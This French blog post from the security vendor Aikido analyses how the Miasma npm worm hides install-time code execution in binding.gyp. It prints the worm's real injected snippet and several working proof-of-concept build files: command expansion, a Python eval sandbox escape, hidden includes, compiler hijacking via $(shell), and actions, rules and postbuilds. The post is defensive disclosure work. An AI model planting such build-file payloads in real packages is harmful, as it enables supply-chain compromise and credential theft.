Aikido

Attendez, binding.gyp peut faire quoi ? Exploration du système de build le plus étrange de npm

Écrit par
Ilyas Makari

Cela ne fait que quelques jours que l' attaque Miasma a touché 32 paquets officiels de Red Hat sur npm. Le ver a ajouté un script malveillant preinstall à chaque paquet compromis, de sorte qu'il node index.js s'exécutait automatiquement dès l'installation de la dépendance, récoltant les identifiants cloud, les jetons CI, les clés SSH et bien plus encore avant même que vous n'exécutiez une seule ligne de votre propre code.

Dans les jours qui ont suivi, Miasma s'est propagé bien au-delà de ses cibles initiales, touchant plusieurs autres paquets sur npm, PyPI et GitHub, y compris @vapi-ai/server-sdk (71k téléchargements hebdomadaires) et ai-sdk-ollama (31 000 téléchargements hebdomadaires).

Cependant, cette nouvelle vague s'accompagne d'une nouvelle astuce.

Si vous avez audité l'un de ces packages, examiné son package.json, n'avez vu aucun preinstall ou post-installation hook, et conclu qu'il était sûr à installer, détrompez-vous. La dernière variante a déplacé son déclencheur hors de package.json entièrement et vers un fichier beaucoup moins examiné que npm exécutera volontiers pour vous au moment de l'installation : binding.gyp.

Dans cet article, je vais faire une analyse approfondie de binding.gyp. Nous examinerons ce que c'est, pourquoi npm l'exécute, et le nombre surprenant de façons dont il peut être abusé pour exécuter du code arbitraire, depuis l'évasion de sandbox à le détournement de compilateur, tout en ressemblant à un fichier de build inoffensif.

Que sont node-gyp et binding.gyp ?

De nombreux packages npm ne sont pas du pur JavaScript. Ils embarquent des add-ons natifs écrits en C ou C++ qui doivent être compilés en un binaire avant que Node ne puisse les charger. L'outil responsable de cette étape de compilation est node-gyp, un outil de build multiplateforme que npm regroupe et invoque pour vous. C'est un wrapper autour de GYP, qui signifie Generate Your Projects, un système de build que Google a initialement créé pour le projet Chromium. Cependant, Google a retiré Chromium de ce système et a cessé de le maintenir, donc node-gyp s'appuie désormais sur un fork maintenu par Node.js.

node-gyp sait quoi construire en lisant un fichier appelé binding.gyp qui se trouve à la racine du package. C'est un fichier de type JSON qui décrit le build (techniquement un littéral Python, ce qui aura son importance plus tard). Il décrit quels fichiers source compiler, quels répertoires d'inclusion utiliser, et ainsi de suite. Un "binding.gyp" normal et honnête binding.gyp pourrait ressembler à ceci :

{
  "targets": [
    {
      "target_name": "addon",
      "sources": ["src/addon.cc"]
    }
  ]
}

Cependant, cela peut facilement devenir un problème de sécurité. Lorsque npm installe un package et détecte un binding.gyp à sa racine, il exécute automatiquement node-gyp rebuild pour ce package dans le cadre de l'installation. Le package n'a pas besoin d'enregistrer de script dans package.json pour que cela se produise. La simple présence d'un fichier binding.gyp suffit pour que du code s'exécute pendant l'installation.

Ainsi, même un package avec un "package.json" complètement propre package.json, sans aucun hook de cycle de vie, déclenchera la chaîne d'outils gyp au moment de l'installation simplement parce que le fichier existe.

Comment Miasma l'a exploité

Voici un extrait réel de ce que le ver a injecté dans les paquets compromis :

{
  "targets": [
    {
      "target_name": "Setup",
      "type": "none",
      "sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]
    }
  ]
}

À première vue, cela ressemble à une cible de build nommée Configuration avec un seul fichier source. Regardez de plus près le sources tableau. Au lieu d'un simple nom de fichier, il contient une chaîne encapsulée dans <!(...).

Ce <!(...) La syntaxe est une fonctionnalité de gyp appelée expansion de commande. Lorsque gyp analyse ce fichier, il ne traite pas le contenu comme une chaîne littérale. Il exécute la commande shell incluse et substitue la sortie de la commande dans le champ.

Ainsi, lorsque node-gyp traite la cible, il exécute :

node index.js > /dev/null 2>&1 && echo stub.c

En détaillant cela :

  • node index.js exécute la charge utile malveillante. Cette index.js est la même charge utile Miasma que nous avons vue dans les attaques précédentes de Red Hat, le voleur de credentials obfusqué et le ver de cette campagne.
  • > /dev/null 2>&1 supprime toutes les sorties, de sorte que rien de suspect n'apparaît dans les journaux d'installation.
  • && echo stub.c affiche un nom de fichier d'apparence inoffensive. Gyp le capture comme valeur de l'entrée sources , de sorte que le build continue et que rien ne semble cassé.

La charge utile s'exécute, reste silencieuse et la compilation se termine normalement. Aucun hook de pré-installation n'est nécessaire.

La syntaxe d'expansion, et pourquoi elle est encore pire qu'il n'y paraît

GYP propose en fait plusieurs types d'expansion de commande :

  • <!(command) / >!(command) / ^!(command) –  exécute la commande et substitue sa sortie brute sous forme de chaîne unique.
  • <!@(command) / >!@(command) / ^!@(command) – exécute la commande et divise sa sortie en une liste, ce qui est pratique là où gyp attend un tableau.
  • <!pymod_do_main(module args) – importe module en tant que module Python et appelle sa DoMain() fonction, en utilisant la valeur de retour comme substitution.
  • <|(name item1 item2 ...) crée un fichier nommé nom au moment de l'analyse, avec chaque élément sur sa propre ligne.

Tous ces éléments s'exécutent au moment de l'analyse, avant toute compilation effective.

Intuitivement, on s'attendrait à ce que cela ne se produise que dans des champs documentés réels comme sources, bibliothèques ou include_dirs. Cette intuition est fausse, et c'est là que cela commence à devenir intéressant.

GYP ne limite pas l'expansion des commandes à une liste de champs connue. Lorsqu'il charge un .gyp fichier, il parcourt récursivement toute la structure analysée et étend <!(...) et <!@(...) à l'intérieur de toute valeur de chaîne qu'il trouve, quelle que soit la clé sous laquelle cette chaîne se trouve. Il n'y a pas de schéma qui stipule « seuls ces noms de champs sont autorisés ».

En pratique, cela signifie qu'un attaquant peut inventer un nom de champ (comme some_random_key) qui n'existe pas du tout dans la documentation de gyp, et la commande qu'il contient s'exécutera quand même :

{
  "some_random_key": "<!(node evil.js && echo 0)",
  "targets": []
}

Il n'y a pas de some_random_key champ dans gyp. Il n'a pas besoin d'en être un. La chaîne sous cette clé contient un <!(...) jeton, la passe d'expansion récursive l'atteint, et la commande s'exécute. C'est ce qui rend l'examen de ces éléments si fastidieux. Vous ne pouvez pas simplement vérifier la poignée de champs que vous vous attendez à être dangereux, car la charge utile peut être masquée sous n'importe quelle clé, et à n'importe quelle profondeur, dans le fichier.

L'Escape de la sandbox

Vous pensiez que les expansions de commande étaient risquées ? Ça ne fait qu'empirer à partir de là.

Jusqu'à présent, nous avons traité binding.gyp comme un fichier JSON légèrement inhabituel avec quelques fonctionnalités supplémentaires. En réalité, il s'agit d'un dictionnaire Python, et il transmet directement le fichier à celui de Python eval(). Vous voyez où je veux en venir ?

C'est exact : le fichier que npm exécute pour vous au moment de l'installation est analysé par eval. Les auteurs de gyp n'étaient pas aveugles à la façon dont cela pourrait être abusé, ils appellent donc eval avec les fonctions built-in supprimées :

eval(file_contents, {"__builtins__": {}}, None)

L'idée est que sans fonctions built-in disponibles, un attaquant qui contrôle le fichier gyp ne peut pas atteindre quoi que ce soit de dangereux, comme exécuter une commande shell ou lire des fichiers sur le disque. Les éléments constitutifs que vous utiliseriez normalement pour cela, tels que __import__ pour charger le os module ou open pour toucher un fichier, ont toutes été supprimées. C'est un bac à sable classique. Cependant, comme presque toutes les tentatives de sandboxing de Python, eval, il peut être contourné.

Nous pouvons sortir directement de cette sandbox et faire en sorte que GYP exécute du code Python arbitraire. Voici un fichier gyp malveillant complet binding.gyp, en entier :

[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('node evil.js')

C'est tout. C'est le fichier entier. Aucune syntaxe JSON n'est nécessaire. Nous n'avons utilisé aucun des targets ou sources champs habituels que l'on s'attendrait à voir dans un fichier gyp. Juste une seule expression Python. Cela fonctionne parce que, avant que node evil.js ne soit appelée, l'expression réalise une petite astuce pour s'Escape de eval()sa sandbox.

Les fonctions dangereuses ont été supprimées, mais les objets inoffensifs que vous pouvez toujours manipuler détiennent discrètement des références cachées vers elles. En partant du tuple vide inoffensif (), il navigue à travers les relations d'objets internes de Python jusqu'à ce qu'il trouve quelque chose qui détient encore une référence aux fonctions qui avaient été supprimées, les récupère, et utilise cela pour importer le os module et exécuter la commande shell node evil.js.

Et cela s'exécute au moment où quelqu'un exécute npm install <package>, purement comme un effet secondaire de l'analyse du fichier par gyp.

Parce que toute la syntaxe gyp est essentiellement un dictionnaire Python, l'expression peut être insérée dans n'importe quelle valeur d'un fichier de build d'apparence tout à fait normale :

{
  "variables": {
    "module_name": "fast_crypto",
    "openssl_fips": [c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('node evil.js') or "",
  },
  "targets": [
    {
      "target_name": "<(module_name)",
      "sources": ["src/binding.cc", "src/crypto.cc"],
      "include_dirs": ["<!(node -p \"require('node-addon-api').include\")"],
      "defines": ["NAPI_VERSION=8"],
    }
  ]
}

Ceci est un exemple fonctionnel de binding.gyp qui construirait réellement un module natif. La charge utile est cachée à l'intérieur de la openssl_fips variable, conçue pour se fondre dans le reste du fichier de build. Aucune <!(...) expansion de commande n'était nécessaire.

C'est la même chose pour les conditions. GYP permet à un fichier de build d'appliquer différents paramètres en fonction de l'environnement, via une conditions clé.

"conditions": [
  ["OS=='win'", { "sources": ["socket_win.cc"] }],
  ["OS=='linux'", { "defines": ["LINUX"] }],
]

Ces chaînes de conditions, "OS=='win'", sont censées être de minuscules vérifications booléennes. Mais gyp les évalue de la même manière qu'il analyse le fichier : il compile chacune d'elles et l'exécute via eval(), avec les mêmes builtins dépouillés. Cela signifie qu'une condition peut, en fait, contenir n'importe quelle expression Python arbitraire. En utilisant la même astuce d'Escape de sandbox, nous pouvons transformer le conditions champ en un autre vecteur d'attaque à prendre en compte :

"conditions": [
  ["[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('node evil.js') == 0", {}],
]

Nous venons de vous montrer comment convertir binding.gyp en un exécuteur de code arbitraire qui s'exécute au moment de l'installation (sans aucun hook de post-installation).

Vous vous demandez peut-être pourquoi tout cela est si important. Nous avons déjà plusieurs façons d'exécuter du code au moment de l'installation. Il y a post-installation dans package.json. binding.gyp.

La différence ici est que les fonctionnalités réelles et documentées sont risquées, mais risquées d'une manière que l'écosystème comprend déjà. Un réviseur sait qu'il doit lire le scripts bloc dans package.json. Un scanner peut être configuré pour signaler <!(...) expansions. Nous pouvons les anticiper, écrire des règles pour elles et nous en défendre, précisément parce qu'elles sont censées exister.

L'Escape d'une sandbox est un problème d'un autre genre, car rien de tout cela n'a jamais été prévu. Personne ne s'attend jamais à binding.gyp pour héberger du code Python pur qui s'exécute au moment de l'installation.

Masquer du code dans des fichiers inclus

Jusqu'à présent, chaque charge utile a résidé dans un seul binding.gyp fichier. Ce n'est pas une obligation.

binding.gyp prend en charge une Inclusions clé. Son objectif est de factoriser les paramètres de build partagés dans un fichier séparé et de les intégrer dans plusieurs cibles ou projets, afin d'éviter la répétition. Lorsque gyp rencontre une Inclusions entrée, il charge ce fichier et fusionne son contenu avec le fichier actuel avant le traitement.

L'astuce est que le fichier inclus est traité exactement comme le fichier principal binding.gyp, ce qui signifie que chaque expansion ou astuce d'évasion de sandbox des sections précédentes s'applique également à l'intérieur. Un attaquant peut déplacer la charge utile hors de binding.gyp et dans un fichier inclus, laissant le fichier principal ressembler à un fichier de configuration de build normal :

{
  "includes": ["evil"],
  "targets": [...]
}

Le fichier inclus evil peut alors contenir la charge utile réelle, qui peut à nouveau être dissimulée sous une clé arbitraire, à n'importe quelle profondeur dans le fichier.

{
  "anyrandomname": {
    "somethingarbitrary": "<!(node evil_script.js && echo 0)"
  }
}

Deux éléments rendent cela avantageux pour un attaquant et problématique pour un réviseur. Premièrement, le fichier inclus peut être nommé n'importe comment. Il n'a pas besoin d'une .gyp ou .gypi extension. Il doit simplement contenir des données au format JSON valide. Un fichier innocemment appelé config ou LICENSE fonctionne tout aussi bien.

Deuxièmement, Inclusions sont transitives. Un fichier inclus peut lui-même inclure un autre fichier, qui peut en inclure un autre, et ainsi de suite. Désormais, la charge utile qui s'exécute au moment de l'installation pourrait se trouver à trois ou quatre fichiers de distance du binding.gyp que vous avez commencé à analyser.

Inclusions automatiques et persistance

Pensez-vous maîtriser les inclusions maintenant ? Il y a un rebondissement : vous n'avez même pas besoin d'un Inclusions clé, car node-gyp inclut automatiquement certains fichiers.

Lorsque node-gyp configure une compilation, il recherche deux fichiers à la racine du paquet, config.gypi et common.gypi, et inclut de force ceux qu'il trouve, exactement comme si vous les aviez listés dans Inclusions. Ils sont traités comme n'importe quel autre fichier gyp, de sorte que toutes les astuces des sections précédentes fonctionnent à l'intérieur d'eux. Le problème pour un réviseur est que rien dans binding.gyp ne les pointe. Un binding.gyp peut être une simple paire d'accolades vides et toujours extraire une charge utile d'un fichier frère config.gypi:

{ }
{
  "variables": {
    "anything": "<!(node evil.js && echo 0)"
  }
}

Le premier fichier est l'intégralité du binding.gyp. Le second est config.gypi, qui se trouve discrètement à côté, et il s'exécute lors de l'installation.

C'est mauvais, mais le suivant est pire. node-gyp inclut également automatiquement ~/.gyp/include.gypi, résolu à partir du répertoire personnel de l'utilisateur, dans chaque compilation gyp que cet utilisateur exécute. Pas ce projet, mais chaque projet. Déposez une charge utile là une fois et elle persiste sur chaque npm install avec un binding.gyp que vous ferez à nouveau.

Intégration de code via les dépendances

Indépendamment de Inclusions, les cibles gyp peuvent déclarer dépendances des dépendances envers d'autres cibles définies dans des fichiers entièrement différents .gyp fichiers.

Puisqu'une dépendance pointe vers un autre fichier gyp, et que ce fichier est analysé et étendu comme n'importe quel autre, les dépendances offrent à un attaquant un second moyen indépendant d'atteindre du code dans un autre fichier :

{
  "targets": [
    {
      "target_name": "main",
      "type": "none",
      "dependencies": ["dep.gyp:dep_target"]
    }
  ]
}

Le fichier dep.gyp référencé héberge alors la charge utile à l'intérieur de l'une de ses cibles :

{
  "targets": [
    {
      "target_name": "dep_target",
      "type": "none",
      "sources": ["<!(node malicious.js && echo stub.c)"]
    }
  ]
}

Comme pour Inclusions, le nom du fichier référencé est sans importance tant qu'il contient des données au format JSON valides. Et tout comme Inclusions, ces dépendances peuvent également être transitives.

Le détournement de compilateur

Le binding.gyp contrôle également la manière dont le code natif est construit, quel compilateur invoquer et quels drapeaux lui passer, et ce contrôle devient son propre vecteur d'attaque.

Une compilation native doit savoir quel compilateur utiliser et quelles options lui fournir. Gyp expose cela à deux endroits :

  • des paramètres par cible comme cflags, définit, et include_dirs.
  • make_global_settings (Linux / macOS) – un bloc de niveau supérieur dans un fichier gyp qui définit la chaîne d'outils pour l'ensemble de la compilation :
    • le compilateur C (CC)
    • le compilateur C++ (CXX)
    • l'éditeur de liens (LINK)
    • l'archiveur (AR)
    • options du compilateur (CFLAGS)
    • options de l'éditeur de liens (LDFLAGS)

Étant donné que la compilation a lieu au moment de l'installation, un acteur malveillant pourrait remplacer le compilateur, en le faisant pointer vers son propre script :

{
  "make_global_settings": [
    ["CC", "<(module_root_dir)/cc-evil.sh"]
  ],
  "targets": [
    {
      "target_name": "addon",
      "type": "static_library",
      "sources": ["src/addon.c"]
    }
  ]
}

Le build s'exécute maintenant cc-evil.sh en tant que compilateur pour chaque étape de compilation, où cc-evil.sh pourrait ressembler à ceci :

node "$(dirname "$0")/evil.js"
exec cc "$@"

Le script peut faire ce qu'il veut (comme exécuter evil.js) puis appeler le vrai compilateur afin que le build réussisse toujours, et que personne ne s'en aperçoive.

GYP dispose même d'une convention dédiée à cela, destinée aux lanceurs de compilateurs comme ccache. Une *_wrapper clé préfixe votre programme devant le vrai compilateur :

{
  "make_global_settings": [
    ["CC", "/usr/bin/cc"],
    ["CC_wrapper", "<(module_root_dir)/cc-evil-wrapper.sh"]
  ],
  "targets": [
    {
      "target_name": "addon",
      "type": "static_library",
      "sources": ["src/addon.c"]
    }
  ]
}

Ici, gyp exécute cc-evil-wrapper.sh /usr/bin/cc ..., transmettant au script malveillant le vrai compilateur comme argument.

De plus, un attaquant n'a même pas besoin de remplacer le compilateur. Il peut simplement lui transmettre des flags, et gyp écrit ces flags dans le fichier de build généré. Dans un build basé sur make, les flags deviennent make variables, et make peut évaluer une $(shell) commande qu'il trouve à l'intérieur de l'une d'elles. Ainsi, une valeur de flag peut être détournée pour transporter une commande malveillante.

Il y a deux endroits où injecter. Sur la cible elle-même, par exemple via cflags (ou xcode_settings sur macOS) :

{
  "targets": [
    {
      "target_name": "addon",
      "type": "static_library",
      "sources": ["src/addon.c"],
      "cflags": ["$(shell node <(module_root_dir)/evil.js)"]
    }
  ]
}

Ou globalement pour chaque cible, via make_global_settings:

{
  "make_global_settings": [
    ["CFLAGS", "$(shell node <(module_root_dir)/evil.js)"]
  ],
  "targets": [
    {
      "target_name": "addon",
      "type": "static_library",
      "sources": ["src/addon.c"]
    }
  ]
}

Lorsque le build s'exécute, le malveillant $(shell ...) la commande s'exécute, et la sortie de la commande est transmise au compilateur comme un drapeau inoffensif, permettant ainsi à la compilation de se dérouler avec succès.

Le mécanisme exact pour détourner un compilateur peut varier selon l'outil de build et le système d'exploitation. Cependant, le point essentiel à retenir est que les paramètres du compilateur et de l'éditeur de liens méritent d'être traités comme du code, étant donné que des outils de build comme make peuvent évaluer leur contenu au npm install moment du build.

Exécution de code via les actions

Jusqu'à présent, chaque vecteur s'est appuyé sur l'expansion de commandes, l'évasion de sandbox ou le détournement de compilateur. GYP dispose d'une autre fonctionnalité qui exécute des commandes par conception : actions.

Une action est une étape de build attachée à une cible qui exécute une commande arbitraire, normalement pour générer un fichier source ou traiter une entrée avant la compilation. C'est une fonctionnalité documentée qui réside dans le actions tableau. Chaque action spécifie une commande à exécuter, ses entrées et ses sorties.

Puisque l'objectif principal d'une action est d'exécuter une commande, un attaquant n'a même pas besoin de la syntaxe d'expansion ici. Il peut simplement demander à gyp d'exécuter sa charge utile directement :

{
  "targets": [
    {
      "target_name": "via_actions",
      "type": "none",
      "actions": [
        {
          "action_name": "poc_action",
          "inputs": [],
          "outputs": ["poc_action_done"],
          "action": ["node", "evil.js"]
        }
      ]
    }
  ]
}

Lorsque la cible est compilée, gyp exécute node evil.js. Pas de <!(...) requis, pas de fichier source à compiler, juste une étape de build dont le seul but est d'exécuter une commande.

Il existe un concept proche qui mérite d'être connu : règles. Une règle est similaire à une action, à ceci près qu'elle se déclenche une fois par fichier d'entrée correspondant à une extension donnée. Dirigez une règle vers un fichier avec la bonne extension, et sa commande s'exécutera pour ce fichier :

{
  "targets": [
    {
      "target_name": "via_rules",
      "type": "none",
      "sources": ["trigger.poc"],
      "rules": [
        {
          "rule_name": "poc_rule",
          "extension": "poc",
          "outputs": ["<(RULE_INPUT_ROOT).done"],
          "action": ["node", "evil.js"]
        }
      ]
    }
  ]
}

Ici, la cible liste un seul fichier source, trigger.poc. La règle stipule que pour chaque fichier d'entrée se terminant par .poc, gyp doit exécuter node evil.js. L'attaquant contrôle les deux parties, il fournit donc un fichier jetable avec l'extension correspondante, et la règle se déclenche contre celui-ci au moment du build. L'effet est le même qu'une action, le déclencheur étant un fichier correspondant plutôt que la cible elle-même.

Il existe un troisième membre de cette famille, postbuilds, une commande qui s'exécute après la construction d'une cible. Elle contient le même type de action tableau :

{
  "targets": [
    {
      "target_name": "via_postbuilds",
      "type": "none",
      "postbuilds": [
        {
          "postbuild_name": "poc_postbuild",
          "action": ["node", "evil.js"]
        }
      ]
    }
  ]
}

Le point essentiel à retenir est qu'un binding.gyp le fichier exécute du code au moment de l'installation, exactement comme un preinstall ou post-installation hook dans package.json, il mérite donc exactement la même suspicion. La présence de binding.gyp dans une dépendance signifie que du code peut s'exécuter pendant l'installation, indépendamment de ce que package.json indique. Un package.json sans scripts d'installation n'est plus la preuve que rien ne s'exécute.

Les équipes de sécurité devraient y prêter attention. Les acteurs derrière les attaques de la chaîne d'approvisionnement comme Miasma cherchent clairement de nouvelles façons d'exécuter du code au moment de l'installation, et binding.gyp est facile à manquer, surtout lorsqu'il s'agit de comportements non documentés, comme les échappatoires de sandbox. Il serait naïf de penser que c'est la dernière fois que nous en entendrons parler.

Comment Aikido détecte cela

Si vous êtes un utilisateur d'Aikido, vérifiez votre flux central et filtrez les problèmes de logiciels malveillants. La récente campagne Miasma, qui utilise désormais l'exécution au moment de l'installation binding.gyp , apparaît comme un problème critique de 100/100. Aikido effectue des rescans chaque nuit, mais nous recommandons de déclencher un rescan manuel immédiatement si vous pensez être affecté.

Pas encore utilisateur d'Aikido ? Créez un compte et connectez vos dépôts. Notre couverture anti-malware est incluse dans le plan gratuit, aucune carte de crédit n'est requise.

Pour une couche supplémentaire, Aikido Device Protection vous offre une visibilité et un contrôle sur les paquets logiciels installés sur les appareils de votre équipe, couvrant les extensions de navigateur, les bibliothèques, les plugins et les dépendances.

Pour arrêter un paquet comme celui-ci avant qu'il n'atteigne l'étape d'installation, utilisez Aikido Safe Chain (open source). Il s'intègre à votre workflow existant, interceptant les commandes npm, npx, yarn, pnpm et pnpx et vérifiant les paquets par rapport à Aikido Intel avant l'installation.

Partager :

https://www.aikido.dev/blog/exploring-binding-gyp-npm-build-system

Analyser les malwares

Commencer gratuitement
4,7/5
Fatigué des faux positifs ?
Essayez Aikido, comme 100 000 autres.
Commencez maintenant
Obtenez une démonstration personnalisée

Approuvé par plus de 100 000 équipes

Réserver maintenant
Analysez votre application à la recherche d'IDORs et de chemins d'attaque réels

Approuvé par plus de 100 000 équipes

Démarrer l'analyse
Découvrez comment le pentest IA teste votre application

Approuvé par plus de 100 000 équipes

Démarrer les tests

Sécurisez votre environnement dès maintenant.

Sécurisez votre code, votre cloud et votre environnement d’exécution dans un système centralisé unique.
Détectez et corrigez les vulnérabilités rapidement et automatiquement.

Aucune carte de crédit requise | Résultats en 32 secondes.